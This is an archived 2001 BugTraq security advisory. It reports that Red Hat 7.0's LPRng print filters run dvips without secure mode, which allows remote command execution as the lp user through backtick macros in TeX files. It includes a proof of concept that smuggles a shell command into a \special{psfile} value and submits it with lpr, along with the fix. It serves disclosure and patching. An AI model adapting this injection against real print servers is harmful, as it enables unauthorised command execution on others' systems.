LPRng/rhs-printfilters - remote execution of commands

From: zen-parse (zen-parseat_private)
Date: Mon Aug 27 2001 - 06:44:55 PDT

  • Next message: Larry W. Cashdollar: "Solaris Patchadd symlink exploit."

    (posted to vendor security ppl, no reply, no patch, so posting here.)
    --begin forwarded message--
    
    RedHat 7.0 (possibly others)
    
    If the lpd is listening on 0.0.0.0 and no access controls are in place, it
    is possible to execute commands as the lp user, assuming tetex-dvips is
    installed.
    
    From man dvips
    ...
           -R     Run in secure mode. This  means  that  ``backtick''
                  commands  from  a \special{} or \psffile{} macro in
                  the  (La)TeX  source  like   \special{psfile="`zcat
                  foo.ps.Z"}   or   \psffile[72  72  540  720]{"`zcat
                  screendump.ps.gz"} are not executed.
    ...
    
    Unless the -R option is passed, the attached file will, when converted to
    a .dvi file (tex spool.tex), start a worm. A very primitive, proof of
    concept worm, with no payload, but it does stall the printer.
    (So don't run it without at least modifying it to do something else.)
    
    /usr/lib/rhs/rhs-printfilters/dvi-to-ps.fpi
    ...
    dvips -f $DVIPS_OPTIONS < $TMP_FILE
    ...
    
    change it to
    ...
    dvips -R -f $DVIPS_OPTIONS < $TMP_FILE
    ...
    
    and it should be a little safer.
    
    -- zen-parse
    
    --end forwarded message--
    
    I deleted the worm file before posting this to BugTraq. It's 2 lines of
    bash, but not really the kind of thing that is helpful to post here.
    
    -rw-r--r--    1 evil     evil          152 Aug 16 16:37 spool.tex
    
    Instead, use this to test your machine.
    
    cat >proof-of-concept.tex <<EOF
    \special{psfile="`touch /tmp/lpowned"}
    \end
    EOF
    tex proof-of-concept
    lpr proof-of-concept.dvi
    
    -- zen-parse
    
                 [ mp3.com/cosv  -  new music added this month ]
                 [ ============ ] [ ========================== ]
    -- 
    -------------------------------------------------------------------------
    The preceding information, unless directly posted by zen-parseat_private to
    an open forum is confidential information and not to be distributed
    (without explicit permission being given by zen-parseat_private). Legal
    action may be taken to enforce this. If you are mum or dad, this probably
    doesn't apply to you.
    



    This archive was generated by hypermail 2b30 : Mon Aug 27 2001 - 08:32:23 PDT